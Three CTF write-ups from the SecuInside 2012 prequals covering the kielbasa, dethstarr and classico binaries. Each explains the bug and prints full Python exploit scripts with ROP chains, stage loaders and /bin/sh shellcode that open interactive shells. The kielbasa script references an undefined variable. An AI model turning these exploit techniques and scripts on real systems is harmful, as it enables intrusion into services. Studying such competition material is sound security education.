-
SecuInside2K12 Prequals: kielbasa writeup
Written by Clement Rouault and Remi Audebert
2012-06-12 18:00:00Kielbasa is a linux elf32 cgi binary which generates and validates ASCII art captchas.
It is accessed via the following address:
http://61.42.25.20/captcha/captcha.cgi?q=sent&v=<captcha>&t_s=<timestamp>
It runs on a CentOS 6.2 with exec-shield and stack randomization. SELinux appears to be disabled and
mmap_min_addr = 0
so we canmmap
the first page. It also turned out that this page was exectuable.Disclaimer: Our exploit seemed to fail on the remote service (Apache returned an error) but near the end of the ctf we found out that using another shellcode did in fact work.
Stage 1 - Craft the stack
The vulnerable function is
sub_8048EB0
, it has the following stack:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
top of the stack ... -0x168 char* QUERY_STRING -0x164 char t_s[32] -0x144 size_t v_size -0x140 char v[32] -0x120 char* user_agent -0x11C char* ptr_to_t_s -0x118 char* remote_port -0x114 char* somewhere -0x110 char* remote_addr -0x109 uint8 mmap_flags -0x108 int use_malloc ... bottom of the stack
There is an off by one overflow on the size of the
t_s
paramater wich lets us overwrite the first byte ofv_size
(default is8
). Ast_s
can only contain digits, the maximum value we can put inv_size
is0x39
, the ASCII value for9
. Thus we can overwrite the stack up to-0x107
(second byte ofuse_malloc
) with the content ofv
.It then executes (many checks have been removed):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
/* ... */ if (use_malloc) { buf = malloc(0x1000u); /* ... */ } else { buf = mmap(0, 0x1000u, mmap_flag, 0, 0); /* ... */ } /* ... */ sprintf(buf, "[%s][%s][%s]\n\n", remote_addr, remote_port, user_agent); /* ... */ if (!*ptr_to_t_s && *somewhere) { jmp(0); return -1; } /* ... */
Our goal is to trigger the
mmap
with the following flags:MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS
and then to use thejmp(0)
in order to execute our mapped page.The page have to contain valid code. We only control the three pointers
remote_addr
,remote_port
anduser_agent
, used by thesprintf
call ([
ispop ebx
and]
ispop ebp
).We needed to find null terminated gadget that would be concatenated.
When we jump to
0x0
the registers have the following values:1 2
esi = 0xffffd011 = pointer to v edi = 0
We then searched for a
movsb
gadget and found anmovsb
followed byjmp $ - 4
hidden in alea esp, [ebp-244h]
:1 2 3 4 5
$ rasm2 -d 8da57cfdffff lea esp, [ebp+0xfffffd7c] $ rasm2 -d a57cfd movsd jl 0x8048000
As
rasm2
start address is0x08048000
we can see that this produces anmovsb
infinite loop that copies ourv
buffer to0x0
and this until themovsb
loop gets overwritten. Ourstage2
shellcode is located in thev
buffer at offset0x8
. Thejmp $ - 4
is replaced by ajmp 0x8
wich execute our shellcode.We put this gadget in our
user_agent
and junk (but valid) code inremote_addr
andremote_port
in order to reserve some place to put ourstage2
shellcode.Before:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
(gdb) x/17i 0 => 0x0: pop ebx ; [ 0x1: nop ; junk 0x2: nop 0x3: nop 0x4: push ebp 0x5: mov ebp,esp 0x7: cmp DWORD PTR ds:0x804afa4,0x5d ; ] is eaten by cmp 0xe: pop ebx ; [ 0xf: nop ; junk 0x10: nop 0x11: nop 0x12: push ebp 0x13: mov ebp,esp 0x15: cmp DWORD PTR ds:0x804afa4,0x5d ; ] is eaten by cmp 0x1c: pop ebx ; [ 0x1d: movs DWORD PTR es:[edi],DWORD PTR ds:[esi] 0x1e: jl 0x1d
After:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
(gdb) x/17i 0 0x0: popa ; v[0] = 'a' 0x1: popa ; v[1] = 'a' 0x2: popa ; v[2] = 'a' 0x3: popa ; v[3] = 'a' 0x4: popa ; v[4] = 'a' 0x5: popa ; v[5] = 'a' 0x6: popa ; v[6] = 'a' 0x7: popa ; v[7] = 'a' 0x8: xor ecx,ecx ; stage2 shellcode 0xa: inc ecx 0xb: shl ecx,0x5 0xe: sub di,0x8 0x12: add si,0x19 0x16: rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi] 0x18: nop 0x19: nop 0x1a: nop 0x1b: nop 0x1c: nop 0x1d: nop => 0x1e: jmp 0x8
Here is the stack we crafted:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
null = struct.pack("<I", 0x0804897f) nops = struct.pack("<I", 0x080488bd) movs_jmp = struct.pack("<I", 0x0804963d) jmp_arg0 = struct.pack("<I", 0x08049648) MAP_PRIVATE = 0x02 MAP_FIXED = 0x10 MAP_ANONYMOUS = 0x20 mmap_flag = struct.pack("B", MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS) v = captcha # v[0:8] v += stage2 # v[8:28] v += (30 - len(v)) * b'\x90' # nop padding v += yasm("jmp $ - 22") # v[28:32] = b"\xeb\xe8" v += movs_jmp # v[32:36] user_agent v += null # v[36:40] v += nops # v[40:44] remote_port v += jmp_arg0 # v[44:48] v += nops # v[48:52] remote_addr v += b"\x01" * 3 # v[52:55] v += mmap_flag # v[55:56]
Stage 2 - Copy our full shellcode
Our
stage2
is very simple, when we jump back to0x8
we have theQUERY_STRING
pointer inesi
.1 2 3 4 5 6 7 8 9 10 11 12
stage2 = yasm(""" BITS 32 xor ecx, ecx inc ecx shl ecx, 5 ; 0x100 sub di, 8 add si, 25 rep movsb """)
Stage 3 - Free pwn
We put our full length
stage3
shellcode at the end of our query:http://61.42.25.20/captcha/captcha.cgi?q=sent&v=<captcha>&t_s=<timestamp>&<stage3>
For example, a simple
ls
:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
ls = yasm(""" BITS 32 xor ecx, ecx mul ecx push ecx push 0x736c2f2f ;; sl// push 0x6e69622f ;; nib/ mov ebx, esp push ecx push ebx mov ecx, esp mov al, 11 int 0x80 """)
Full exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
#!/usr/bin/python3 import os import struct from asm import yasm stage2 = yasm(""" BITS 32 xor ecx, ecx inc ecx shl ecx, 5 ; 0x100 sub di, 8 add si, 25 rep movsb """) ls = yasm(""" BITS 32 xor ecx, ecx mul ecx push ecx push "//ls" ;; sl// push "/bin" ;; nib/ mov ebx, esp push ecx push ebx mov ecx, esp mov al, 11 int 0x80 """) nops = struct.pack("<I", 0x080488BD) movs_jmp = struct.pack("<I", 0x0804963d) null = struct.pack("<I", 0x0804897f) jmp_arg0 = struct.pack("<I", 0x08049648) MAP_PRIVATE = 0x02 MAP_FIXED = 0x10 MAP_ANONYMOUS = 0x20 mmap_flag = struct.pack("B", MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS) t_s = b"9999999999999999999999999999999999999" captcha = b"a" * 8 v = captcha v += stage2 v += (30 - len(v)) * b'\x90' # nop padding v += yasm("jmp $ - 22") v += movs_jmp # USER_AGENT v += null v += nops # REMOTE_PORT v += jmp_arg0 v += nops # REMOTE_ADDR v += b"\x01" * 3 # padding v += mmap_flag env = b'REMOTE_ADDR=192.168.103.61 REMOTE_PORT=80 REQUEST_METHOD="GET" '\ b'HTTP_USER_AGENT="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"' query = b"q=sent&t_s=" + t_s + b"&v=" + v + b"&" + exit42 os.system(env + b' QUERY_STRING="' + query + b'" ./captcha.cgi')
My
asm.py
tool:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
#!/usr/bin/env python3 # LSE - Rémi Audebert - 2012 import sys import tempfile import subprocess def yasm(code): """Assemble x86 code with yasm >>> yasm("int 0x80") b'\\xcd\\x80' """ with tempfile.NamedTemporaryFile() as output_file: p = subprocess.Popen(['/usr/bin/yasm', '-fbin', # raw outout '-o', output_file.name, '-'], stdin=subprocess.PIPE) p.communicate(code.encode()) return output_file.read() def cstring(data): """ Convert bytes to c string >>> cstring(bytearray([0xcd, 0x80])) '\\\\xcd\\\\x80' """ return "".join("\\x" + hex(c)[2:] for c in data) if __name__ == "__main__": import doctest doctest.testmod()
TweetPermalink & comments -
SecuInside2K12 Prequals: dethstarr writeup
Written by Samuel Chevet
2012-06-11 16:22:00Dethstarr was one of my favorite service exploitation challenges during the SecuInside 2012 contest. We had to fully reverse a given binary to understand how the protocol it implements works. To be able to debug the binary easily and in the same environment as on the remote server, we setup xinetd on a CentOS 6.2 Virtual Machine with the following configuration:
1 2 3 4 5 6 7 8 9 10
service dethstarr { socket_type = stream wait = no flags = REUSE user = w4kfu server = /home/w4kfu/LSE/CTF/SecuInside_2012/dethstarr/dethstarr port = 4242 type = UNLISTED }
To trigger the bug, we have to understand how the protocol works in detail. Looking at the disassembled code, we can figure out 4 different functions that will first read a certain number of bytes, check if it matches several conditions, then read again on the socket with a user specified size (limited to avoid buffer overflows).
First check function
1 2 3 4 5 6
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 0xCA | 0x0 | 0x1 | 0xAC | 0x9A | 0x1 | 0x0 | 0x00010001| 0x54534e49 | 0x1F | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 0xCA | 0x0 | 0x1 | 0xAC | 0x9A | 0x1 | 0x0 | 0x00010001| 0x54534e49 | 0x1F | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
The last 0x1F is the size for the last
read
call of that function (no overflow can occur)Second check function
1 2 3
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 0x8 | 0x1 | 0x1 | 0x0DFE1ABCC | <global_var> | 0x1 | 0xFF| -42 | 0x66| 0x756C| 0xFF| 0x60|0x7FFFFFFF |0x9C |0x1F| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
The
global_var
is set before each call to the check function.Third check function
1 2 3
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 0x001A00CB|0x000200DB |0x41420019 |0x6|0x1|0xCA |0xCCCCCCCC | <global_var> | 0x1F| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Fourth check function
1 2 3
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | <addr>| 0x31323301|<index>|<index>|0x9|0x9|0x1|0xFFFF|0xFFFF0000|0x4|0x00e10052 |<global_var> |0x1F | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Inside this fourth check function lies the vulnerability of this challenge: the index field (
[eax+8]
) is tested to be under0x1F
using a signed compare, which allows negative values:1 2 3 4 5 6 7 8
.text:080488EE mov eax, [eax+8] .text:080488F1 cmp eax, 1Fh .text:080488F4 jle short loc_8048909 .text:0804893A mov eax, [eax+8] .text:0804893D mov edx, [ebp+buf] .text:08048940 mov edx, [edx] .text:08048942 mov ds:dword_804A8E0[eax*4], edx
Using this we are able to dereference a negative offset inside a global array and write anything we want in it. I choose to rewrite the
exit()
function address from inside the GOT. Then, when the check function called after this vulnerability fails, it will fail callingexit
and jump to the address we specified. The binary contains a nice function epilogue we can use to overflow one of the program's buffer:1 2 3 4 5 6 7 8 9 10 11 12 13
.text:08049518 mov [esp+8], eax ; nbytes .text:0804951C lea eax, [ebp+var_31] .text:0804951F mov [esp+4], eax ; buf .text:08049523 mov dword ptr [esp], 0 ; fd .text:0804952A call _read .text:0804952F mov eax, 0 .text:08049534 .text:08049534 end_function: ; CODE XREF: first_check_buff+65j .text:08049534 ; first_check_buff+8Cj ... .text:08049534 add esp, 44h .text:08049537 pop ebx .text:08049538 pop ebp .text:08049539 retn
The interesting thing is that the exit function is triggered with
eax
being the invalid size we specified (making the check fail). That means we control this register value, which is used as theread
size.After triggering this bug, we can start using ROP to build a shellcode that will bypass ASLR and NX. The shellcode will leak an address from the GOT to allow us to locate
libc.so.6
in memory and build a second stage shellcode using this additional information.First stage ROP chain
1 2 3
0x080495B2 # add esp, 0x1C ; pop ; pop ; pop ; pop ; ret 0x41424344 # Dummy 0x08049515 # Addres inside First check before read
Now we have the size we want in eax, which allow us to create a buffer overflow when
read
is called inside 0x0804928D (a.k.a first check function).Second stage ROP chain
1 2 3 4 5
0x080483C4 # Address of the write function in .plt 0x08048DDA # Return Address Second check mov ebp, esp 0x00000001 # File descriptor (stdout) 0x0804A7BC # Address we want to write from: read@.got.plt 0x00000004 # Size of the write
Now that we have the
read
address from the GOT, weret
again on the second check function (it is similar to the first stage ROP chain) and re-trigger the buffer overflow to prepare for stage 3.Third stage ROP chain
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<write_addr> + 0xca60 # Computed address of mmap (libc.so.6) 0x080495B2 # add esp, 1C ; pop ; pop ; pop ; pop ; ret // clean mmap args 0x13370000 # Address to map 0x00001000 # Size to map 0x00000007 # RWX 0x00000031 # MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS 0xffffffff # fd 0x00000000 # offset (ignored) ... DUMMY * 20 ... 0x080483F4 # read@.plt 0x13370000 # Return adress: our shellcode 0x00000000 # fd 0x13370000 # Address to read to len(shellcode) # Length of shellcode
This ROP chain will call
mmap
to a fixed address and read our shellcode (execve /bin/sh
) and jump to it.Finally this exploit works well both locally and remotely, and we were able to get the flag in the
/home/dethstarr/key
file. Later on we also used this exploit to get the system time of the server (usingdate
) in order to synchronize ourself with theclassico
service challenge.Here is the final exploit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173
import socket import struct import sys s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #s.connect(("61.42.25.25", 8282)) s.connect(("192.168.103.61", 4242)) def first_check(): cmd = struct.pack("<I", 0xCA) cmd += struct.pack("<I", 0x0) cmd += struct.pack("<I", 0x1) cmd += struct.pack("<I", 0xAC) cmd += struct.pack("<I", 0x9A) cmd += struct.pack("<I", 0x1) cmd += struct.pack("<I", 0x00000000) cmd += struct.pack("<I", 0x00010001) cmd += struct.pack("<I", 0x54534e49) cmd += struct.pack("<I", 0x1F) #sys.stdout.write(cmd) s.send(cmd) cmd = "A" * (0x1F) #sys.stdout.write(cmd) s.send(cmd) def second_check(x, size, cmd2, a): cmd = struct.pack("<I", a) cmd += struct.pack("<I", 0x41424344) cmd += struct.pack("<I", 0x41424344) cmd += struct.pack("<I", 0x0DFE1ABCC) # Switch case cmd += struct.pack("<I", x) cmd += struct.pack("<I", 0x41424344) cmd += struct.pack("<I", 0xFF) cmd += struct.pack("<i", -0x42) cmd += struct.pack("<I", 0x66) cmd += struct.pack("<I", 0x756C) cmd += struct.pack("<I", 0xFF) cmd += struct.pack("<I", 0x60) cmd += struct.pack("<I", 0x41424344) cmd += struct.pack("<I", 0x7FFFFFFF) cmd += struct.pack("<I", 0x9C) cmd += struct.pack("<I", size) #sys.stdout.write(cmd) s.send(cmd) #sys.stdout.write(cmd) s.send(cmd2) def third_check(): for i in [1, 0, 2]: cmd = struct.pack("<I", 0x001A00CB) cmd += struct.pack("<I", 0x000200DB) cmd += struct.pack("<I", 0x41420019) cmd += struct.pack("<I", 0x6) cmd += struct.pack("<I", 0x41424344) cmd += struct.pack("<I", 0xCA) cmd += struct.pack("<I", 0xCCCCCCCC) # index cmd += struct.pack("<I", i) cmd += struct.pack("<I", 0x1F) #sys.stdout.write(cmd) s.send(cmd) cmd = "A" * (0x1F) #sys.stdout.write(cmd) s.send(cmd) def fourth_check(x, y, addr): cmd = struct.pack("<I", addr) cmd += struct.pack("<I", 0x31323301) cmd += struct.pack("<i", y) cmd += struct.pack("<i", y) cmd += struct.pack("<I", 0x9) cmd += struct.pack("<I", 0x9) cmd += struct.pack("<I", 0x1) cmd += struct.pack("<I", 65535) cmd += struct.pack("<i", -65536) cmd += struct.pack("<I", 0x4) cmd += struct.pack("<I", 0x00e10052) # index !! cmd += struct.pack("<I", x) cmd += struct.pack("<I", 0x1F) #sys.stdout.write(cmd) s.send(cmd) cmd = "A" * 0x1F s.send(cmd) first_check() print s.recv(0x60) #raw_input() for x in xrange(1, 6): if x == 2: continue second_check(x, 0x1F, "A" * 0x1F, 0x8) print s.recv(0x44) third_check() print s.recv(0x78) fourth_check(3, -2, 0x4214242) print s.recv(0x78) fourth_check(0, -2, 0x414242) print s.recv(0x48) print s.recv(0x78) fourth_check(0, -2, 0x414242) print s.recv(0x78) # Overwrite exit() fourth_check(2, -65, 0x08049518) print s.recv(0x78) cmd = "B" * 9 cmd += struct.pack("<I", 0x080495B2) # add esp, 0x1C ; pop ; pop ; pop ; pop ; ret cmd += struct.pack("<I", 0x41424344) # Dummy cmd += struct.pack("<I", 0x08049515) # Addres inside First check before read cmd += "B" * 10 second_check(5, 0x100, cmd, 8) size_payload = 0 max_size = 0x100 payload = "B" * 26 payload += struct.pack("<I", 0x080483C4) # .plt write payload += struct.pack("<I", 0x08048DDA) # ret addr second check : mov ebp, esp payload += struct.pack("<I", 0x00000001) # fd payload += struct.pack("<I", 0x0804A7BC) # .got.plt write payload += struct.pack("<I", 0x00000004) # size write s.send(payload + "B" * 20 + "X" * (0x100 - len(payload) - 20 - len(cmd))) print s.recv(65536) # RECV ADDR WRITE d = s.recv(4) write_addr = struct.unpack("<I", d)[0] print "Write_addr =", hex(write_addr) cmd = "B" * 9 cmd += struct.pack("<I", 0x080495B2) # add esp, 0x1C ; pop ; pop ; pop ; pop ; ret cmd += struct.pack("<I", 0x41424344) # Dummy cmd += struct.pack("<I", 0x08049515) # Address inside First check before read cmd += "B" * 10 second_check(5, 0x100, cmd, 8) payload = "B" * 26 payload += struct.pack("<I", write_addr + 0xca60) # Addr mmap payload += struct.pack("<I", 0x080495B2) # addp esp, 0x1C ; pop; pop ; pop ; pop ; ret payload += struct.pack("<I", 0x13370000) # Addr payload += struct.pack("<I", 4096) # Size payload += struct.pack("<I", 7) # rwx payload += struct.pack("<I", 49) # MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS payload += struct.pack("<I", 0xffffffff) # -1 payload += struct.pack("<I", 0) # osef payload += "B" * 20 shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80" payload += struct.pack("<I", 0x080483F4) # .plt read payload += struct.pack("<I", 0x13370000) # return addr shellcode payload += struct.pack("<I", 0x00000000) # fd payload += struct.pack("<I", 0x13370000) # addr to read payload += struct.pack("<I", len(shellcode))# len of shellcode s.send(payload + "X" * (0x100 - len(payload) - len(cmd))) s.send(shellcode) while True: print ">", cmd = raw_input() if not cmd: break s.send(cmd + "\n") sys.stdout.write(s.recv(65536) + "\n")
Thanks to the SecuIniside CTF organizers for all these awesome binaries!
-
SecuInside2K12 Prequals: classico writeup
Written by Samuel Chevet
2012-06-11 16:22:00Like dethstarr, we had to fully reverse a given binary to understand how the protocol works. As usual, we have to pass a lot of checks. The first one can be summed up to the following C code:
1 2 3 4 5 6 7 8 9 10 11 12 13
:::C read(0, buff, 0x50); if (*(DWORD*)buff <= 0x182) if (*(DWORD*)buff > 0x181) if (!strcmp(buff + 4, "INETCOP")) if (*(DWORD*)(buff + 9) == time(0)) if (!strcmp(buf + 40, <random_string>)) { res_diff = *(DWORD*)(buff + 18) - *(DWORD*)(buff + 19); if (res_diff > 0) return res_diff; } return -1;
The
random_string
is created using the following function :1 2 3 4 5 6 7 8 9
:::C char random_str[32]; char tab[] = "0123456789abcdef"; srand(time(0)); for (i = 0; i < 32; i++) { random_str[i] = tab[rand() % strlen(tab)]; }
The first check was really a problem in remote, because we had to synchronize with the server (
time(0)
). To overcome this issue, I randate
on the server by using thedethstarr
service exploit:1 2 3
:::text $ date Sun Jun 10 15:50:07 EDT 2012
After the first check function, there is a second one which starts by reading 4 bytes as a signed dword and check if it is between 0 and 0xF (included). This value will be used as an index for a jump table. Then it reads 4 bytes again, and check if it is equal to
res_diff
from the first check function. This value will be used after, let's call itnbbytes
. I will not analyze every switch case, but only the 3 most interesting.Case 0x3
The program reads 4 bytes and check if it's null, and then if
nbbytes
is less than 4095, it readsnbbytes
into a malloced buffer. This buffer will be passed tochdir
, and then it will check if the content at 0xbfc8c8c8 is not null. If the result of the last malloc is greater than 0x82828282, this function will jump to adress 0xbfc8c8c8.Case 0x9
Like case 0x3 it will read 4 bytes and check if it is null, but then it reads another
nbbytes
into a 1025 dword table. Not to worry,nbbytes
is also verified in this function. After that, it will check if the value of esp is greater than 0xbfc8c8c8. If not it willmprotect
it with prot parameter equal toPROT_READ | PROT_WRITE | PROT_EXEC
. If themprotect
succeeds, it sends us a random string, and an error code, 0xAAAAAAAA, otherwise it sends 0x82828282.Case 0xF
This is the last case, and the most interesting as it is required to trigger all the stuff described before.
1 2 3 4
0x0 0x4 0x8 0xC 0x10 0x14 0x18 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | <counter> | <nb_loop> | 0x0 | 0x0 | 0x1 | 0x0 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Each time this function is called, a global counter is incremented, so the first field of the buffer must equal to this. The filed before the last is not null, because we want the function to call another function which calls
malloc
and read some bytes from it. We have to do it because for case 0x9 we need to have the lastmalloc
return adress greater than 0x82828282.The second field is the number of times
main
is called, it can be useful to recurse and decrease the value of esp enough to then call case 0x9, and then case 0x3.Here is the scheme of the exploit:
- Call 0xF statements enough time with
nb_loop
equal to one, to decreaseesp
enough - One last call to case 0xF in order to set
nb_loop
to 2, and put our shellcode onto the stack - Call case 0x9 in order to make the stack executable at an address near 0xbfc8c8c8.
- Call case 0x3 to jump into our shellcode
Here is the final exploit :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135
import socket import struct import sys import ctypes import time s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #s.connect(("61.42.25.24", 8888)) s.connect(("192.168.103.61", 4242)) LIBC = ctypes.cdll.LoadLibrary("./libc.so.6") def get_time(x): start = LIBC.time(0) cur = LIBC.time(0) if x and (x % 100) == 0: while cur == start: cur = LIBC.time(0) return cur - 2 def first_check(x, a, b): t = get_time(x) LIBC.srand(t) buf = struct.pack("<I", 0x00000182) buf += "INETCOP" buf += "B" * 25 buf += struct.pack("<I", t) tab = "0123456789abcdef" for x in xrange(32): v = LIBC.rand() buf += tab[v % len(tab)] buf += struct.pack("<I", a) buf += struct.pack("<I", b) s.send(buf) def start_second_check(a, b, func): s.send(struct.pack("<I", func)) s.send(struct.pack("<I", a - b)) # 0xF case def last_case(counter, diff, nb_loop, last, cmd): s.send(struct.pack("<I", counter)) s.send(struct.pack("<I", nb_loop)) s.send(struct.pack("<I", 0x00000000)) s.send(struct.pack("<I", last)) s.send(struct.pack("<I", 0x00000001)) s.send(struct.pack("<I", 0x00000000)) s.send(cmd) # 0x9 case def mprotect_case(): a = 0x30 b = 0x20 diff = a - b first_check(counter, a, b) start_second_check(a, b, 0x9) s.send(struct.pack("<I", 0)) cmd = "A" * diff s.send(cmd) s.recv(0x50) d = s.recv(0x10) if len(d) > 4: error = struct.unpack("<I", d[-4:])[0] print "Return : ", hex(error) if error == 0x82828282: print "mprotect() failed" # 0x3 case def chdir_case(): a = 0x30 b = 0x20 diff = a - b first_check(counter, a, b) start_second_check(a, b, 0x3) s.send(struct.pack("<I", 0)) s.send("/tmp" + "\x00" + "A" * (diff - 5)) counter = 0 a = 0x30 b = 0x20 diff = a - b loop = int(sys.argv[1]) raw_input() for x in xrange(loop): print "X = ", x try: first_check(x, a, b) start_second_check(a, b, 0xF) last_case(counter, diff, 1, 0, "A" * diff) counter = counter + 1 except : print s.recv(0x50) d = s.recv(0x10) if len(d) > 4: error = struct.unpack("<I", d[-4:])[0] print "Error : ", error print s.recv(1024) else: print d exit(0) shellcode = "\x90" * 40 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" + "\x90" * 40 a = 0x1000 b = 0x20 diff = a - b length = diff - (len(shellcode) * 10) cmd = "\x90" * length + shellcode * 10 first_check(x, a, b) start_second_check(a, b, 0xF) # put the shellcode by using the read on the stack instead of malloc last_case(counter, diff, 1, 1, cmd) counter = counter + 1 a = 0x30 b = 0x20 diff = a - b first_check(x, a, b) start_second_check(a, b, 0xF) last_case(counter, diff, 3, 0, "A" * diff) mprotect_case() chdir_case() while True: print ">", cmd = raw_input() if not cmd: break s.send(cmd + "\n") sys.stdout.write(s.recv(65536))
Unfortunately, I wasn't able to exploit this on the remote service, because I had an error in my python script. It wasn't checking the
mprotect
return value correctly, and I only figured this out after the end of the CTF. - Call 0xF statements enough time with